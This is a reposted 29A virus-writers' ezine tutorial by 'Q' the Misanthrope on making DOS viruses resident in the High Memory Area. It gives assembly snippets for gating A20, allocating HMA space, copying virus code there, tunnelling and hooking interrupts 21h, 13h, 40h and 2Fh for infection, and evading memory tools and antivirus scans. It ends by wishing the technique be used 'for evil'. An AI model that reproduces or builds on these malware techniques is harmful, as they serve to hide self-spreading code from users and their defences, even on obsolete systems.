Copy Link
Add to Bookmark
Report

29A Issue 02 02 07

eZine's profile picture
Published in 
29A
 · 28 Dec 2019

  

HMA Residency
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ>
"Q" the Misanthrope

This virus topic has not been discussed: HMA (not UMB) residency.


What is HMA?
ÄÄÄÄÄÄÄÄÄÄÄÄ
It stands for High Memory Address. HMA memory is a 65520 byte area from
FFFF:0010h to FFFF:FFFFh. "Q" the Misanthrope has been using the HMA to
store about 15 of his viruses. This is his tutorial on HMA useage.


Why HMA?
ÄÄÄÄÄÄÄÄ
It allows you to put your virus in a location not seen with any of the con-
ventional memory tools. MEM, CHKDSK and others don't indicate that more me-
mory is being used in the HMA when a virus goes resident there. Many anti
virus programs did not scan the HMA since no one was crazy enough to put
their virus up there. They now have changed because of the many viruses "Q"
created that use the HMA.


HMA History
ÄÄÄÄÄÄÄÄÄÄÄ
On an 80286+ there is an address line called a20 that was to be used to map
the second megabyte of memory. There are additional address lines (a21,
a22, etc) but with this a20 line there became another 64k of memory availa-
ble to real mode programs. Where did this new memory come from? On an 8086,
the addressing of the processor is in SEGMENT:OFFSET format. Each OFFSET
spans a 64k SEGMENT. The actual physical address is computed as SEGMENT*10h
+OFFSET. The last byte of memory on an 8086 was F000:FFFFh, or F0000h+FFFFh
=FFFFFh. Notice that FFFF:000F is the same physical address (FFFF0h+000Fh=
FFFFFh). What happens if you were to address FFFF:0010? (FFFF0h+0010h=
100000h). On an 8086 this would map back to 0000:0000h but on an 80286 you
have just touched the first byte of the second megabyte off memory. The on-
ly problem is that the 80286 works just the same as the 8086 and again you
are mapped back to 0000:0000h. Some circuitry needed to be added, a20 ga-
ting was created. If doing the physical computation caused a carry into the
next megabyte then turn the a20 line on. This feature had to be able to
switched on and off at will. The 80286 also introduced the 8042 keyboard
controller. There was an extra bit on an output port that could control
this gating. The creation of the HIMEM.SYS would in part make controlling
this a bit easier.


Gating a20
ÄÄÄÄÄÄÄÄÄÄ
To enable the a20 gating:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
mov ax,4300h ;himem.sys check
int 2fh
cmp al,80h
jne error ;no himem.sys loaded
mov ax,4310h
int 2fh ;get far call address es:bx
mov ah,03h ;Global enable A20
push cs ;prime the stack for retf
call call_es_bx ;put ip of next line on stack for retf
next_line: or ax,ax ;check if error
jz error
[...] ;code to do whatever
call_es_bx: push es ;now jmp to es:bx with ah as function
push bx ;the stack is primed to return to
retf ;next line
[...]
error: mov ah,09h ;print command
mov dx,offset errmsg;print error
push cs
pop ds
int 21h
[...]
errmsg db "A20 Global Enable error!",0dh,0ah,"$"
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

Note: all of the HIMEM.SYS calls are documented in Ralf Brown's Interrupt
list (INT 2Fh AX=4310h).


Brute force gating a20
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Another method is the brute force one. What if you want the HMA available
at boot time for your boot sector virus? You can directly control the 8042
keyboard controller. Using command D1. Write Output Port: next byte written
to port 60h is placed in the 8042 output port.


³7³6³5³4³3³2³1³0³ 8042 Output Port
³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ system reset line
³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ gate A20
³ ³ ³ ³ ÀÄÁÄÄÄÄÄÄ undefined
³ ³ ³ ÀÄÄÄÄÄÄÄÄÄ output buffer full
³ ³ ÀÄÄÄÄÄÄÄÄÄÄ input buffer empty
³ ÀÄÄÄÄÄÄÄÄÄÄÄ keyboard clock (output)
ÀÄÄÄÄÄÄÄÄÄÄÄÄ keyboard data (output)

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
.286
mov al,0d1h ;send command to 8042
out 64h,al
reloop: in al,64h ;check that port 60h is available
or al,02h
jnz reloop
mov al,11100011b ;keep keyboard working and gate a20
out 60h,al
push -1 ;set es=ffffh
pop es
push 00h
pop ds ;set ds=0000h
mov di,10h ;check if it worked, compare
xor si,si ;ffff:0010h to 0000:0000 for 16 bytes
mov cx,di ;set cx to 10h
cld
rep cmpsb ;compare it
je failed
[...] ;worked, copy virus to ffff:xxxx
failed: jmp short failed ;do whatever
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8


HMA and DOS 5+
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
The easiest method is to use the HMA if DOS 5+ is loaded in the HMA with
the commands in the CONFIG.SYS like these:

DEVICE=C:\DOS\HIMEM.SYS
DOS=HIGH

This requirement is on 99% of all machines running this decade. To invoke
it, just do this:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
mov ax,4a02h ;allocate HMA space from DOS
mov di,-1 ;prime di if DOS not high or < ver 5
mov bx,0200h ;number of bytes you want
int 2fh ;should return es:di to available mem
inc di ;di=ffffh if no memory or DOS<5 etc.
jz failed ;if it failed
dec di
mov si,offset virii
mov cx,bx ;get ready to copy virii
cld
rep movs byte ptr es:[di],cs:[si]
[...]
failed: jmp short failed
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8


Hooking interrupts
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Now that you are in the HMA, what next? hook in your interrupts and you are
off infecting. Problem is that it is not that simple. You can't point an
interrupt to ffff:xxxx because the a20 gate may be turned off for some rea-
son. If the a20 gate is turned off then your interrupt will point to code
in the first 64k of memory. When DOS 5+ interrupts 13h, 21h, 2fh, etc chain
into the HMA they first check if the a20 line is gated, if not, they gate
it. The interrupt then continues its code in the HMA. You can tunnel your
desired interrupt and hook in to the interrupt chain when the code goes to
the HMA. An example of hooking interrupt 21h is:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
.286
virus_size equ previous_21-begin
begin: [...]
mov ax,3501h ;get int 1 address for tunnel
int 21h
mov dx,offset interrupt_1
mov ah,25h ;set int 1 for tunnel
push es
int 21h
pop ds ;ds:dx will be to set it back
push 00h ;es=0000h
pop es
pushf ;simulate interrupt stack
mov dx,bx
push cs
push es ;return to cs:0000 is cd 20
int 01h ;set trap flag
db 26h ;es: override in to int table
dw 02effh,21h*04h ;jmp far ptr es:[0084]
interrupt_1: pusha ;save varables
push sp
pop bp ;get pointer
push ds
push es
lds si,dword ptr ss:[bp+10h];get next instruction address
cmp word ptr ds:[si+01h],02effh
jne go_back ;check if jmp far ?s:[????]
cmp word ptr ds:[si-02h],001cdh
org $-02h ;see if called from our int 01
int 01h
je toggle_tf
mov si,word ptr ds:[si+03h];get address segment of jmp
cmp byte ptr ds:[si+03h],0f0h
jb go_back ;see if in HMA area
mov bx,((virus_size+10h)SHR 4)*10h
mov di,0ffffh ;allocate HMA area for virus
mov ax,4a02h
int 2fh
inc di ;is HMA full
jz toggle_tf ;if so then just don't bother
push si ;move the virus to the HMA
cld
mov cx,virus_size
mov si,0100h ;copy virus to HMA
rep movs byte ptr es:[di],cs:[si]
pop si ;now hook the int 21 chain
movsw ;int 21 copied at previous_21
movsw
lea di,word ptr ds:[di-04h-virus_size+offset resident_21]
mov word ptr ds:[si-04h],di;point to resident 21 code
mov word ptr ds:[si-02h],es
toggle_tf: xor byte ptr ss:[bp+15h],01h;toggle the trap flag
go_back: pop es
pop ds
popa
iret
resident_21: pushf ;do the voodoo you do so well
pusha
[...]
popa
popf
db 0eah
previous_21: label double
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

This is a bit laborous. What else can be done? if you need to hook int 13h
then the simple use of int 2fh AH=13h can be done.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
.286
;at the start es:di is pointing to the start of the virus in HMA. es=ffffh
mov ah,13h ;get int 13 chain
int 2fh ;returns previous ds:dx to bios
push ds ;int 13h
push dx
lea dx,word ptr ds:[di+offset resident_13]
push -1 ;point to new int 13 in HMA
pop ds
int 2fh ;set new int 13 into chain
push -1
pop ds
pop word ptr ds:[di+previous_13]
pop word ptr ds:[di+previous_13+02h]
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

The only problem with this is that Windows will spot it if the 32 bit disk
access is enabled.

An even simpler way of hooking into the interrupt 13h chain can be done if
all you are wanting to do is infect floppies. Interrupt 40h is the moved
interrupt 13h handler that only handles floppy accesses. It can be directly
hooked into the HMA because all access to it will be through interrupt 13h
that made sure the a20 line was gated before it went into the HMA.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
.286
;at the start es:di is pointing to the start of the virus in HMA. es=ffffh
push es ;save es
mov ax,3540h ;get old int 40
int 21h
pop ds ;get es and save old int 40
mov word ptr ds:[di+previous_40],bx
mov word ptr ds:[di+previous_40+02h],es
lea dx,word ptr ds:[di+resident_40]
mov ah,25h ;set int 40 into hma
int 21h
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

Interrupt 2fh is very easy to hook into the HMA. Before DOS 7, you could
hook your code in at 0070:0005h. DOS 7 moved it to 0070:0168h.

Another way to hook into the interrupt chain and make sure that the a20 li-
ne is gated is to have some code in lower memory that calls the interrupt
you want to hook in with some bogus function, then jump to the HMA code be-
cause the a20 line was gated with the previous interrupt call. An example:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
.286
interrupt_21: push ax ;interrupt 21h points to here
mov ah,19h ;get current drive (bogus instruction)
pushf ;simulated stack for interrupt
db 09ah ;far call instruction
previous_21 dd 04530126eh ;previous interrupt 21 simulation
pop ax
db 0eah ;far jmp
hma_virus_code dd ffffec1ch ;to virus code in HMA
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8


Using some lower memory as a kernal
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
The trick is where to put these instructions in lower memory. The interrupt
vector table can be used either the user area at 0040:00f0h or i like to
use the root PSP of COMMAND.COM:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
.286
mov ah,51h ;get current PSP
int 21h
xor ax,ax ;prime ax not equal PSP
find_root_psp: cmp ax,bx
je found_root
mov ds,bx ;point to current psp
mov ax,bx ;for compare
mov bx,word ptr ds:[16h];get parent psp
jmp short find_root_psp
found_root: [...] ;ds points to the psp of command.com
[...] ;ds:005ch to ds:007fh is useless space
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8


What works and what doesn't
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
When your virus code is the HMA there are certain things that will not work
like you'd like them to: you can not hook your critical error handler in to
the HMA. You can not do interrupt 21h writes or reads with DS:DX pointing
in the HMA. To do these you will need to use some lower memory and copy the
contents into the lower memory and point to it. You can use the lower memo-
ry areas discussed above. What does work: BIOS interrupt 13h reads and wri-
tes work just fine. Searching the disk buffers and modifying them to insert
your code and then marking the buffer as dirty will cause the processor to
write it back.

If this has inspired someone else to use the HMA for evil rather than good
then my efforts have been worth it.


"Q" the Misanthrope

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT